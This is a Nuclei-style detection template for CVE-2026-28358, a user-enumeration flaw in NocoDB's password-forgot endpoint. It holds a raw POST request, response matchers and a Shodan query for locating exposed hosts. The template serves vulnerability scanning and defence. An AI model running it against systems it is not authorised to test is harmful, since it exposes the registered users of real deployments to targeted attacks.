NocoDB is software for building databases as spreadsheets. Prior to version 0.301.3, the password forgot endpoint returned different responses for registered and unregistered emails, allowing user enumeration. This issue has been patched in version 0.301.3.
PoC
id: CVE-2026-28358
info:
name: NocoDB - User Enumeration
author: DhiyaneshDk
severity: medium
description: |
NocoDB is software for building databases as spreadsheets. Prior to version 0.301.3, the password forgot endpoint returned different responses for registered and unregistered emails, allowing user enumeration. This issue has been patched in version 0.301.3.
impact: |
Attackers can enumerate registered users, potentially aiding further targeted attacks.
remediation: Update to version 0.301.3 or later.
reference:
- https://github.com/nocodb/nocodb/security/advisories/GHSA-387m-j3p9-3php
- https://github.com/nocodb/nocodb/releases/tag/0.301.3
- https://nvd.nist.gov/vuln/detail/CVE-2026-28358
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2026-28358
cwe-id: CWE-204
epss-score: 0.00601
epss-percentile: 0.47181
metadata:
verified: false
max-request: 1
vendor: nocodb
product: nocodb
shodan-query: http.favicon.hash:-2017596142
tags: cve,cve2026,user-enum,nocodb
variables:
email: "{{randstr}}@{{rand_base(5)}}.com"
http:
- raw:
- |
POST /api/v1/auth/password/forgot HTTP/1.1
Host: {{Hostname}}
Accept: application/json, text/plain, */*
Content-Type: application/json
Origin: {{RootURL}}
Referer: {{RootURL}}/forgot-password
{"email":"{{email}}"}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "Your email has not been registered"
- type: word
part: content_type
words:
- "application/json"
- type: status
status:
- 200
# digest: 4a0a004730450221009c5ab6c31b4d38cb24f0c582f8fa2b29bc08057722d6c1d87f134b40204558e402203f2e3212bc39d86ebac49053c27abdb49470c2062d6e8c595c2e349c827452ce:922c64590222798bb761d5b6d8e72950
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